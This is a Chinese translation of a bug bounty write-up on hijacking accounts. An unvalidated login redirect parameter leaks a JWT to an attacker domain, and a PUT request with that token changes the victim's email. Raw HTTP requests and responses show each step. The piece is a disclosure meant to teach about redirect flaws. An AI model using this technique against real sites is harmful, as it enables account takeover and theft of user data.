通过未经验证的重定向来获取JWT令牌劫持账户

关于文章

各位好，自上次写作以来已经有段时间没写文章了，希望大家都做的不错。忙了几天之后我决定回馈一下社区。今天，我要分享一个有趣的漏洞思路，这是在漏洞赏金计划中发现的。根本问题是未经验证的重定向，但我决定更进一步，而不只是重定向，所以开始吧。

了解应用程序

当目标是公司或应用程序时，首先要做的事就是确定应用程序流程和它的工作机制。没有了解应用程序就进行一系列的漏洞测试对我没有任何意义，所以我开始测试未经验证的区域。在更进一步之前，我将应用程序分为两部分。一部分是不需要验证的区域，余下的则需要验证，这样我们就能在其中进行适当的测试了。因此，另一件重要的事是登陆机制。

了解登陆过程

收到第一个令牌后应用程序会发送一个GET请求到/aapi/v1/authentications/token，并在认证头中包含第一个JWT令牌 。

GET /aapi/v1/authentications/token HTTP/1.1
Host: secure.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI
content-type: application/json
origin: https://secure.site.com
Connection: close

该请求将返回一个能在整个API中使用的永久JWT令牌 。

{
"jwt_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJndWVzdF90b2tlbiI6bnVsbCwiZXhwIjoxNTQ1MTYyNjkzfQ.XPq-YkU01KYxffnHIRs5LoY5czIPn8WxqnbXbJOANDY",
"user": {
"id": 1,
"first_name": "Demo",
"last_name": "User",
"email": "demo@site.com",
"created_at": "2016-01-27T16:17:32.832Z"
}

现在收到了第二个JWT令牌，它能在所有API端点使用。之前通过重定向得到的JWT令牌不能多次使用，我们的目标是窃取从/token处响应发回的第二个令牌。

所有域中未经验证的重定向

测试过程中我尝试了应用程序的不同子域，发现一个有论坛的子域。要使用该论坛需要通过应用程序的用户认证，所以为了认证用户应用程序将网页返回到secure.site.com，也是我测试认证机制所在的域。这证明所有子域和其他区域的认证机制都是由位于secure.site.com的单一认证机制完成的。所以我一旦登陆成功，应用程序将跳转到forum.site.com，并且是已认证状态。

这挺有趣，我还发现应用程序做出了一些重定向。我确定了应用程序是如何知道我在论坛子域的, 有时是基于应用程序根据我所在网页重定向的参照头。我发现当网页跳转到secure.site.com时一个名为my_results_redirect新的GET参数也随之发送。 因此我重定向到论坛之前的位置是

/login?my_results_redirect=https://forum.site.com/my_results_redirect=https://forum.site.com/。

现在使用值为 https://forum.site.com的参数my_results_redirect登陆后，应用程序有如下响应：

HTTP/1.1 302 Found
Date: Tue, 18 Dec 2018 19:51:21 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: https://forum.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI&signup_event=true&email_event=demo@site.com
Cache-Control: no-cache
Set-Cookie:

我发现能够通过修改my_results_redirect的参数值来篡改令牌的重定向区域。所以如果值设置为https://shawarkhan.com，那么应用程序就会将用户重定向到https://shawarkhan.com。my_results_redirect参数存在于所有的子域中，因此所有的域都有未经验证的重定向，但我的目标是secure.site.com。

获取一次性令牌：

现在是时候向/aapi/v1/authentications/token作出请求收取最后一个JWT令牌了。我发出请求但是被拒绝了。这时候我有点疑惑，因为整个过程都是按照流程来的。我正确执行每一步但收效甚微，没有得到第二个JWT令牌。哈！保护机制吗？

约0.01％的保护？

现在使用永久的JWT令牌和API通信成为可能因为我们有受害者的JWT令牌。API端点/aapi/v1/users/1接受PUT请求。那就能将受害者的邮箱地址改为攻击者的，然后再通过邮箱修改密码达到一个完全的用户劫持。通过使用受害者的JWT令牌发送如下请求，我能够更改受害者的邮箱为 attacker@shawarkhan.com：

PUT /aapi/v1/users/1 HTTP/1.1
Host: secure.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rw:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
authorization: Bearer Victims_JWT_here
content-type: application/json
origin: https://site.com
Content-Length: 200
Connection: close

{"id":id,"user":{"consumer_attributes":{"dob":"1986-01-26","gender":"female","wants_marketing":true},"first_name":"Demo","last_name":"User","phone_number":"512-000-0000","email":"attacker@shawarkhan.com"}} 

这就是我如何完全劫持受害者的账户。分享这篇文章是为了让人们知道重定向漏洞有多危险。人们常对这类漏洞不予理睬，并将其视为低危漏洞。

原文地址：https://www.shawarkhan.com/2019/01/hijacking-accounts-by-retrieving-jwt.html?m=1

[培训]《安卓高级研修班(网课)》月薪三万计划，掌握调试、分析还原ollvm、vmp的方法，定制art虚拟机自动化脱壳的方法